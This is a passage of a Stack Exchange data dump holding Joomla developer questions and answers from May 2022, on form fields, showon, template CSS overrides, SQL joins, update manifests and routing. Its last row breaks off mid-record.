  <row Id="32157" PostTypeId="1" AcceptedAnswerId="32161" CreationDate="2022-05-17T20:26:44.060" Score="1" ViewCount="277" Body="&lt;p&gt;I have tried the following exact example in the Joomla documentation:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/index.php?title=List_form_field_type#Showon_attribute_for_list_options&quot; rel=&quot;nofollow noreferrer&quot;&gt;Showon attribute for list options&lt;/a&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;    name=&amp;quot;fielda&amp;quot;&#xA;    type=&amp;quot;list&amp;quot;&#xA;    label=&amp;quot;FIELDA_LABEL&amp;quot;&#xA;    description=&amp;quot;FIELDA_DESC&amp;quot;&#xA;    &amp;gt;&#xA;    &amp;lt;option value=&amp;quot;editor&amp;quot;&amp;gt;TYPE_EDITOR&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&amp;quot;text&amp;quot;&amp;gt;TYPE_TEXT&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&amp;quot;textarea&amp;quot;&amp;gt;TYPE_TEXTAREA&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&#xA;&amp;lt;field&#xA;    name=&amp;quot;fieldb&amp;quot;&#xA;    type=&amp;quot;list&amp;quot;&#xA;    label=&amp;quot;FIELDB_LABEL&amp;quot;&#xA;    description=&amp;quot;FIELDB_DESC&amp;quot;&#xA;    &amp;gt;&#xA;    &amp;lt;option value=&amp;quot;0&amp;quot;&amp;gt;JNO&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&amp;quot;1&amp;quot;&amp;gt;Option 1&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option&#xA;        showon=&amp;quot;fielda:text,textarea&amp;quot;&#xA;        value=&amp;quot;2&amp;quot;&amp;gt;Option 2&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option&#xA;        showon=&amp;quot;fielda:text&amp;quot;&#xA;        value=&amp;quot;3&amp;quot;&amp;gt;Option 3&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I rendered the fields with the code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('fielda'); ?&amp;gt;&#xA;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('fieldb'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In the documentation it says:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Since Joomla 3.9.0 one can use the showon attribute for option tags in a list field.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;But I'm trying in Joomla 4 and seems it doesn't work. All options in &lt;em&gt;fieldb&lt;/em&gt;, appear with any option of &lt;em&gt;fielda&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Does &lt;strong&gt;Showon&lt;/strong&gt; attribute for list options work with Joomla 4 ?&lt;/p&gt;&#xA;" OwnerUserId="14871" LastActivityDate="2022-05-18T14:45:55.320" Title="Does Showon attribute for list options work with Joomla 4?" Tags="|joomla-4.x|form-fields-types|showon|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32158" PostTypeId="1" AcceptedAnswerId="32159" CreationDate="2022-05-18T13:01:52.380" Score="1" ViewCount="490" Body="&lt;p&gt;I need to conditionally add an option to an existing form field in my custom component.&#xA;The form is defined in models/forms/myview.xml like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form&amp;gt;&#xA;    &amp;lt;fieldset&amp;gt;&#xA;        ...&#xA;        &amp;lt;field name=&amp;quot;myfield&amp;quot;&#xA;            type=&amp;quot;list&amp;quot;&#xA;            ...&#xA;        &amp;gt;&#xA;            &amp;lt;option value=&amp;quot;none&amp;quot;&amp;gt;JNONE&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&amp;quot;one&amp;quot;&amp;gt;one&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&amp;quot;two&amp;quot;&amp;gt;two&amp;lt;/option&amp;gt;&#xA;        &amp;lt;/field&amp;gt;&#xA;        ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;How can I add an additional option &amp;quot;something-else&amp;quot; to myfield in views/myview/view.html.php?&lt;/p&gt;&#xA;&lt;p&gt;I suppose I need to use &lt;code&gt;$this-&amp;gt;form-&amp;gt;setFieldAttribute(...)&lt;/code&gt;, but I cannot get it to work.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Update: (almost there) looks like I can add options with &lt;code&gt;$this-&amp;gt;form-&amp;gt;getField('myfield')-&amp;gt;addOption(&amp;quot;foo&amp;quot;)&lt;/code&gt;, but I cannot set a key-value pair here.&lt;/p&gt;&#xA;&lt;p&gt;API: &lt;a href=&quot;https://api.joomla.org/cms-3/classes/JFormFieldList.html#method_addOption&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://api.joomla.org/cms-3/classes/JFormFieldList.html#method_addOption&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12744" LastEditorUserId="12352" LastEditDate="2022-05-18T23:00:28.657" LastActivityDate="2022-05-20T12:28:22.043" Title="Dynamically add option to Jform field" Tags="|custom-field|jform|xml|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32159" PostTypeId="2" ParentId="32158" CreationDate="2022-05-18T13:37:58.193" Score="3" Body="&lt;p&gt;You're already aware of &lt;code&gt;Joomla\CMS\Form\Field\ListField::addOption()&lt;/code&gt; method. &lt;code&gt;value&lt;/code&gt; is an attribute in the XML so it needs to be passed along with other attributes in the second argument:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;form-&amp;gt;getField('myfield')-&amp;gt;addOption('foo', ['value' =&amp;gt; 'bar']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Word of advice, you should not be modifying the form in the view. This should really be done in the model so the changes are reflected when submitting and validating the form.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2022-05-18T13:37:58.193" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32160" PostTypeId="1" CreationDate="2022-05-18T14:43:26.740" Score="1" ViewCount="98" Body="&lt;p&gt;I have a demo installation of J 3.10.9 with protostar template (&lt;a href=&quot;https://joomla4.extrowebsite.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://joomla4.extrowebsite.com/&lt;/a&gt;).&#xA;The menu item &amp;quot;Home&amp;quot; -&amp;gt; blog category - has N articles.&#xA;The article &amp;quot;Welcome to your blog&amp;quot; - the first - I would like to be given a different formatting than the others.&#xA;&amp;quot;Welcome to your blog&amp;quot; has id = 3.&#xA;I wrote this declaration in the head of the &amp;quot;index.php&amp;quot; template:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $article_id = 3; ?&amp;gt;&#xA;&#xA;&amp;lt;?php if($this-&amp;gt;countModules('ModuleName') &amp;amp;&amp;amp; $view == 'article' &amp;amp;&amp;amp; $article_id == 3) : ?&amp;gt;&#xA;  &amp;lt;jdoc:include type=&amp;quot;modules&amp;quot; name=&amp;quot;ModuleName&amp;quot; style=&amp;quot;none&amp;quot; /&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;With the code I posted, I see the formatting BUT it is also given to all the others, belonging to the Blog category.&#xA;In the module &amp;quot;ModuleName&amp;quot; I have inserted css code.&#xA;What did I do wrong with my statement?&#xA;Thanks to those who want to help me.&lt;/p&gt;&#xA;" OwnerUserId="16341" LastActivityDate="2022-05-18T23:52:49.240" Title="How to know the Joomla article ID for customization" Tags="|joomla-3.x|custom-module|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32161" PostTypeId="2" ParentId="32157" CreationDate="2022-05-18T14:45:55.320" Score="2" Body="&lt;p&gt;Finally I manage to get this working in my component.&lt;/p&gt;&#xA;&lt;p&gt;I needed to add the javascript in the layout, like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$wa = $this-&amp;gt;document-&amp;gt;getWebAssetManager();&#xA;$wa-&amp;gt;useScript('showon');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14871" LastActivityDate="2022-05-18T14:45:55.320" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32162" PostTypeId="2" ParentId="32160" CreationDate="2022-05-18T23:52:49.240" Score="1" Body="&lt;p&gt;If I understand the issue correctly then I don't think you need to be changing or adding code to the template, you can do it quite simply in the Menu settings.&lt;/p&gt;&#xA;&lt;p&gt;In the menu Item for your articles select the Blog layout and change the '# Leading Articles' to 1 and the '# Columns' to 1 also. '# Intro Articles' can be set to whatever you want.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/eF4JZ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eF4JZ.png&quot; alt=&quot;![enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;In your templates custom.css file you can add some CSS to change the look of the first item by selecting the first articles class or id and applying the changes you want according to the template you are using.&lt;/p&gt;&#xA;&lt;p&gt;If you specifically want the 'Welcome to your Blog' article to always be first then you will need to set up the ordering of the articles correctly so that it appears at the top of the blog each time otherwise your changes will apply to whatever article is the first article of your blog.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2022-05-18T23:52:49.240" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32164" PostTypeId="1" CreationDate="2022-05-20T11:32:58.303" Score="0" ViewCount="67" Body="&lt;p&gt;Example switcher radio field:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&amp;quot;myradio&amp;quot; type=&amp;quot;radio&amp;quot; default=&amp;quot;0&amp;quot; label=&amp;quot;Myradio&amp;quot; class=&amp;quot;btn-group btn-group-yesno&amp;quot; layout=&amp;quot;joomla.form.field.radio.switcher&amp;quot;&amp;gt;&#xA;    &amp;lt;option value=&amp;quot;0&amp;quot;&amp;gt;No&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&amp;quot;1&amp;quot;&amp;gt;Yes&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The system CSS is loaded from:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/media/system/css/fields/switcher.css&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Where can i put my template based alternative switcher.css which should be loaded ?&lt;/p&gt;&#xA;&lt;p&gt;I tried all kind of stuff in:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;media\templates\site\mytemplate\css\&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;templates\mytemplate\css\vendor\&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I dont want an layout override of the whole field. Just an alternative switcher.css loading.&lt;/p&gt;&#xA;" OwnerUserId="15761" LastActivityDate="2022-05-20T13:32:14.980" Title="Alternative switcher.css in Joomla 4" Tags="|css|overrides|template-override|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32166" PostTypeId="2" ParentId="32164" CreationDate="2022-05-20T13:32:14.980" Score="1" Body="&lt;p&gt;If you are using J4.1 style &amp;quot;inheritable&amp;quot; template or its &amp;quot;child&amp;quot; template, the path is:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;media/templates/site/mytemplate/css/system/fields/switcher.css&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Or if you are using a legacy template:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;templates/mytemplate/css/system/fields/switcher.css&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2022-05-20T13:32:14.980" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32167" PostTypeId="1" AcceptedAnswerId="32172" CreationDate="2022-05-21T18:48:39.353" Score="0" ViewCount="47" Body="&lt;p&gt;joomla back end editing user account details reverts to my user info.&#xA;I see the users info for a second then it switches to my user account details (superadmin).&#xA;The assigned user groups is correct.&#xA;Any suggestions?&lt;/p&gt;&#xA;&lt;p&gt;As a test, I tried to edit a user, removing them from a group for example, the ID displayed was that of the user. I could not save, error message: Save failed with the following error: Username in use.&lt;/p&gt;&#xA;" OwnerUserId="8108" LastActivityDate="2022-05-23T10:26:56.953" Title="Joomla 3.10.9 - edit User Account Details displays my login details" Tags="|user|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32169" PostTypeId="1" CreationDate="2022-05-22T09:25:01.913" Score="2" ViewCount="27" Body="&lt;p&gt;I have three related components - call them comA comB and comC&lt;/p&gt;&#xA;&lt;p&gt;comA and comB both use comC (comC manages a table of people details. Individuals may be used by comA or comB or both). Some sites want comA+comC, some want comB+comC, some use all three.&lt;/p&gt;&#xA;&lt;p&gt;Ideally I want to package them so that comA gets installed together with comC, and comB with comC. Not a problem.&lt;/p&gt;&#xA;&lt;p&gt;I can use blockChildUninstall in the package xml to prevent comC being uninstalled on its own leaving comA or comB as an orphan.&lt;/p&gt;&#xA;&lt;p&gt;The problem comes on uninstall if both packages are installed because comC can be uninstalled by either package leaving the other package with an orphan comA or comB which will no longer work.&lt;/p&gt;&#xA;&lt;p&gt;Is there any way to abort the uninstall() of one extension in a package if it detects that there is still an extension installed that depends on it? The only way I can find to abort an uninstall() is to throw an exception right at the top, but in that case it aborts the whole uninstall process, not just the component currently being uninstalled. It also crashes out to an error page that is not well format and just has a 'return to (joomla) control panel link.&lt;/p&gt;&#xA;&lt;p&gt;The Installer class does include an Abort() method (as well an isPackageUninstall() method which could be useful) - but how does one use them?&lt;/p&gt;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;&lt;p&gt;Currently my only solution is to not use blockChildUninstall and detect if the other package is still installed in the package uninstall() and if it is abort the package uninstall with the message to just uninstall the comA or comB. This is messy - is there a better way?&lt;/p&gt;&#xA;" OwnerUserId="16053" LastActivityDate="2022-06-01T16:30:00.333" Title="Uninstalling packages with shared component" Tags="|joomla-3.x|installation|packaging|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32170" PostTypeId="1" CreationDate="2022-05-22T13:17:04.130" Score="0" ViewCount="317" Body="&lt;p&gt;So, I am trying to pull data from EA Sports API for games like NHL or FIFA.  The issues with EAs API is it only shows the last 5 games played.  I am trying to have a script run every minute and save the decoded json as individual fields in mySQL and removing duplicates.  Can anyone help explain how to do running every so often and saving to mySQl without duplicates?  API being pulled is here:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://proclubs.ea.com/api/nhl/clubs/info?clubIds=35561&amp;amp;platform=xbox-series-xs&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://proclubs.ea.com/api/nhl/clubs/info?clubIds=35561&amp;amp;platform=xbox-series-xs&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15798" LastActivityDate="2022-05-23T02:12:16.060" Title="Pulling api data and saving to mySQL" Tags="|php|mysql|restful-api|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="32171" PostTypeId="2" ParentId="32170" CreationDate="2022-05-23T02:12:16.060" Score="1" Body="&lt;p&gt;My approach would be to create Scheduler Task plugin to allow you to run it periodically and manage it from the Admin pages. The code in the task plugin could either do the steps to call the API, process the data and save to the record to the data base or it could simply call that same processing that is coded into your Model of your component. The latter is probably the better approach for code reuse reasons and keeping to the MVC rules.&lt;/p&gt;&#xA;&lt;p&gt;I will assume that you can call the API and loop through the returned data to get the individual games so that just leaves you with storing the data in each iteration. Using the games unique ID as the primary key allows you to use the INSERT IGNORE statement in MySQL as suggested by @barrycarter. The short explanation of INSERT IGNORE is that it will add the record if the primary key is not found in the DB or ignore the insert if it does exists.&lt;/p&gt;&#xA;&lt;p&gt;However Joomla core only provides the INSERT statement so if you want to use the normal Joomla approach to build your query you will need do a little extra step.&lt;/p&gt;&#xA;&lt;p&gt;This is a method I use in my code to handle the situation that I call from anywhere, however the important line you need to run after the query has been created and before it is executed is the str_replace to change the statement.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    /**&#xA;     * Replaces the word INSERT with INSERT IGNORE in the provided string&#xA;     */&#xA;    protected function _useInsertIgnore(string $query)&#xA;    {&#xA;        $query = str_replace(&amp;quot;INSERT&amp;quot;, &amp;quot;INSERT IGNORE&amp;quot;, $query);&#xA;        return $query;&#xA;    }    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;To show the above function being called in context this is how I use it, but you will need to adjust it to suit your code.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;query-&amp;gt;insert($this-&amp;gt;table);            // &amp;lt;-- After this line&#xA;$this-&amp;gt;query-&amp;gt;columns($columns);&#xA;$this-&amp;gt;query-&amp;gt;values(implode(',', $values));&#xA;$this-&amp;gt;query = $this-&amp;gt;_useInsertIgnore($this-&amp;gt;query);&#xA;$this-&amp;gt;db-&amp;gt;setQuery($this-&amp;gt;query);             // &amp;lt;-- Before this line&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2022-05-23T02:12:16.060" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32172" PostTypeId="2" ParentId="32167" CreationDate="2022-05-23T10:26:56.953" Score="1" Body="&lt;p&gt;You probably have a &lt;strong&gt;browser plugin&lt;/strong&gt; running that changes the values.&lt;/p&gt;&#xA;&lt;p&gt;Do you use the password manager &lt;strong&gt;LastPass&lt;/strong&gt;?&#xA;If so, logout from LastPass and refresh the page. The real user data should be displayed without being replaced with your own user account data.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2022-05-23T10:26:56.953" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32173" PostTypeId="1" CreationDate="2022-05-24T10:54:08.223" Score="2" ViewCount="675" Body="&lt;p&gt;When I use Akeeba Kickstart it recommends that output buffering is disabled.  Why does it recommend this?  All my research shows that it can speed up sites.&lt;/p&gt;&#xA;&lt;p&gt;It seems I'm not the only one asking&#xA;&lt;a href=&quot;https://forum.joomla.org/viewtopic.php?t=957942&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://forum.joomla.org/viewtopic.php?t=957942&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I found some information here: &lt;a href=&quot;https://joomla.stackexchange.com/questions/299/what-is-an-efficient-way-to-troubleshoot-a-white-screen-of-death#answer-17290&quot;&gt;What is an efficient way to troubleshoot a &amp;quot;white screen of death&amp;quot;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2023-06-07T23:04:08.843" Title="Why does Joomla (or Akeeba) recommend that Output buffering is disabled?" Tags="|php|server|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32174" PostTypeId="1" CreationDate="2022-05-25T02:54:23.780" Score="1" ViewCount="37" Body="&lt;p&gt;I have discovered that someone is systematically searching my Joomla 3.10.9 site using article id,&#xA;e.g. https://domain_name/10&lt;/p&gt;&#xA;&lt;p&gt;This obviously only works for articles with Public access, but means that articles not yet finalised can be viewed. While a workaround may be to temporarily restrict via access type, I would prefer to restrict access so that such references forward to the home page. Articles would then only be accessible via menus or links.&lt;/p&gt;&#xA;&lt;p&gt;I use Admin Tools but can't find any relevant firewall setting there. I've also done a Google search and found the same question but no answers.&lt;/p&gt;&#xA;" OwnerUserId="12642" LastActivityDate="2022-05-28T11:03:38.280" Title="How can I block articles referenced by article id?" Tags="|articles|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32176" PostTypeId="1" CreationDate="2022-05-25T06:48:29.417" Score="0" ViewCount="842" Body="&lt;p&gt;I am trying to LEFT JOIN a table, but the two columns used for relating rows are not identically formatted.&lt;/p&gt;&#xA;&lt;p&gt;My problem is the value in &lt;code&gt;a.vendor&lt;/code&gt;, it has leading zeros on it, and &lt;code&gt;c.No&lt;/code&gt; doesn't have leading zeros. I tried to make it int to remove the zero, but my code  &lt;code&gt;int('a.vendor')&lt;/code&gt; is not working.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$query&#xA;    -&amp;gt;select(array('a.*'))&#xA;    -&amp;gt;select($db-&amp;gt;quoteName('c.Name', 'vendor_name'))&#xA;    -&amp;gt;select($db-&amp;gt;quoteName('d.name', 'vendor_subcontractor'))&#xA;    -&amp;gt;from($db-&amp;gt;quoteName('cert_pack_fcm', 'a'))&#xA;    -&amp;gt;join('LEFT', $db-&amp;gt;quoteName('our_vendors', 'c') . ' ON ' . $db-&amp;gt;quoteName('a.vendor' )  . ' = ' . $db-&amp;gt;quoteName('c.No'))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;What should I do?&lt;/p&gt;&#xA;" OwnerUserId="16365" LastEditorUserId="12352" LastEditDate="2022-05-25T08:44:29.523" LastActivityDate="2024-02-15T07:00:45.063" Title="Join tables where one column value has leading zeros and the other doesn't" Tags="|php|jdatabase|sql|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32177" PostTypeId="2" ParentId="32176" CreationDate="2022-05-25T07:26:03.540" Score="0" Body="&lt;p&gt;There are several ways you can do this. First, you already have the correct value in &lt;code&gt;c.No&lt;/code&gt; so you can just select it instead of &lt;code&gt;a.vendor&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$query-&amp;gt;select(['a.*', 'c.No as vendor']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Using this method you might want to declare specific columns to prevent unnecessary data (i.e. &lt;code&gt;a.vendor&lt;/code&gt;) from being sent:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$query-&amp;gt;select(['a.column1', 'a.column2', 'c.No as vendor']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Another method is to cast the column to integer:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$query-&amp;gt;select(['a.*', $query-&amp;gt;castAs('INT', 'a.vendor') . ' AS vendor'])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Same advice about declaring columns applies here.&lt;/p&gt;&#xA;&lt;p&gt;Third method is to cast the value in PHP after the data has been retrieved:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$results = $db-&amp;gt;loadObjectList();&#xA;&#xA;foreach ($results as $row)&#xA;{&#xA;    $row-&amp;gt;vendor = (int) $row-&amp;gt;vendor;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2022-05-25T10:22:23.313" LastActivityDate="2022-05-25T10:22:23.313" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32178" PostTypeId="1" AcceptedAnswerId="32181" CreationDate="2022-05-25T18:41:00.507" Score="0" ViewCount="109" Body="&lt;p&gt;I'm not able to make my component's update system work on Joomla 4. I don't know what's missing.&lt;/p&gt;&#xA;&lt;p&gt;My manifest file:&#xA;&lt;a href=&quot;https://tabaoca.org/tabapapo-updates/updates.xml&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://tabaoca.org/tabapapo-updates/updates.xml&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Download component:&#xA;&lt;a href=&quot;https://tabaoca.org/tabapapo-updates/com_tabapapo-0.9.2.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://tabaoca.org/tabapapo-updates/com_tabapapo-0.9.2.zip&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16285" LastEditorUserId="16285" LastEditDate="2022-05-27T13:07:53.643" LastActivityDate="2022-05-27T13:07:53.643" Title="Update system from my extension don't work" Tags="|joomla-4.x|extension-update|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32179" PostTypeId="2" ParentId="32176" CreationDate="2022-05-25T22:42:17.730" Score="0" Body="&lt;p&gt;I am assuming that your concern is regarding the join of the &lt;code&gt;our_vendors&lt;/code&gt; table.  One viable, raw SQL technique is to explicitly trim zeros from the front of each value with the SQL &lt;code&gt;TRIM()&lt;/code&gt; function.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/a/96971/2943403&quot;&gt;&lt;code&gt;TRIM(LEADING '0' FROM myfield)&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Alternatively, as shown in @Sharky's answer, you can use a Joomla-native approach (&lt;code&gt;castAs()&lt;/code&gt;) which converts the zero padded string to an integer (which by definition cannot have leading zeros).&lt;/p&gt;&#xA;&lt;p&gt;None of your table names or column names pose any risk to query stability or security, so it is actually perfectly safe to remove all of those &lt;code&gt;quoteName()&lt;/code&gt; method calls which make the query building script longer and harder to read.  This is more of a personal preference than offucial advice.  For developers that are uncertain about sql stability/security, there is no harm in quoting everything.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$query&#xA;    -&amp;gt;select('a.*, c.Name AS vendor_name, d.name AS vendor_subcontractor')&#xA;    -&amp;gt;from('cert_pack_fcm AS a')&#xA;    -&amp;gt;leftJoin('our_vendors AS c ON ' . $query-&amp;gt;castAs('INT', 'a.vendor') . ' = c.No')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2022-05-26T03:33:23.220" LastActivityDate="2022-05-26T03:33:23.220" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32180" PostTypeId="2" ParentId="32174" CreationDate="2022-05-26T04:21:13.567" Score="1" Body="&lt;p&gt;I've found a solution by changing &lt;em&gt;URL Routing&lt;/em&gt; setting in &lt;em&gt;Articles &amp;gt; Options &amp;gt; Integration.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;The default is set to &lt;em&gt;Legacy&lt;/em&gt;, but changing it to &lt;em&gt;Modern&lt;/em&gt; triggers a 404 error if article ID is accessed directly. I have yet to fully investigate whether this change causes any problems elsewhere on the site.&lt;/p&gt;&#xA;" OwnerUserId="12642" LastEditorUserId="12642" LastEditDate="2022-05-28T11:03:38.280" LastActivityDate="2022-05-28T11:03:38.280" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32181" PostTypeId="2" ParentId="32178" CreationDate="2022-05-26T05:47:24.150" Score="1" Body="&lt;p&gt;The version in &lt;code&gt;&amp;lt;targetplatform&amp;gt;&lt;/code&gt; is a regular expression pattern. I am guessing you are already using Joomla 4.1 which is causing your current pattern (&lt;code&gt;4.0&lt;/code&gt;) to fail. You need to update the pattern to include 4.1. Below is just one many patterns that you can use. Note that the beginning match operator (&lt;code&gt;^&lt;/code&gt;) is prepended automatically. Once you're ready to support 4.2, change the &lt;code&gt;1&lt;/code&gt; to &lt;code&gt;2&lt;/code&gt; and it will match all versions from 4.0.0 to 4.2.x.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;4\.[0-1]\.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Another issue could be that you're using &lt;code&gt;alpha&lt;/code&gt; stability tags in your update manifest. In which case you must set &amp;quot;Minimum Extension Stability&amp;quot; option to &lt;code&gt;alpha&lt;/code&gt; in Installer component configuration.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2022-05-26T05:47:24.150" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32182" PostTypeId="1" CreationDate="2022-05-27T23:06:40.817" Score="1" ViewCount="61" Body="&lt;p&gt;Related: &lt;a href=&quot;https://joomla.stackexchange.com/questions/32130/is-it-possible-to-make-it-so-that-authors-can-edit-their-own-published-articles?noredirect=1#comment39414_32130&quot;&gt;Is it possible to make it so that authors can edit their own published articles creating a new unpublished version of them?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The answer to that question is &amp;quot;In Joomla 4 it is, but authors will be able to see unpublished articles by other authors&amp;quot;, which we don't want.&#xA;Therefore we've been working with our custom content table where the primary key is given by id and version number. How should we go about the routing system, in order to have a page for each record of this table?&#xA;The easiest way would be to make adjustments into Joomla's Content component so to substitute everywhere Joomla-content pages with our custom ones, but that's not possible, is it? Is there some kind of &amp;quot;hack&amp;quot; or do we actually need to create a new component &amp;quot;com_articles&amp;quot; totally adhering to the conventions and structure found in: &lt;a href=&quot;https://github.com/joomla/joomla-cms/tree/4.1.0/components/com_content&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/tree/4.1.0/components/com_content&lt;/a&gt; ?&lt;/p&gt;&#xA;" OwnerUserId="16289" LastEditorUserId="16289" LastEditDate="2022-05-28T07:58:01.267" LastActivityDate="2022-10-31T06:04:00.490" Title="What is the best way to have pages displaying articles from our custom content table in Joomla 4.1?" Tags="|component|custom-component|joomla-4.x|com-content|jroute|" AnswerCount="1" CommentCount="0" ContentLicense="CC 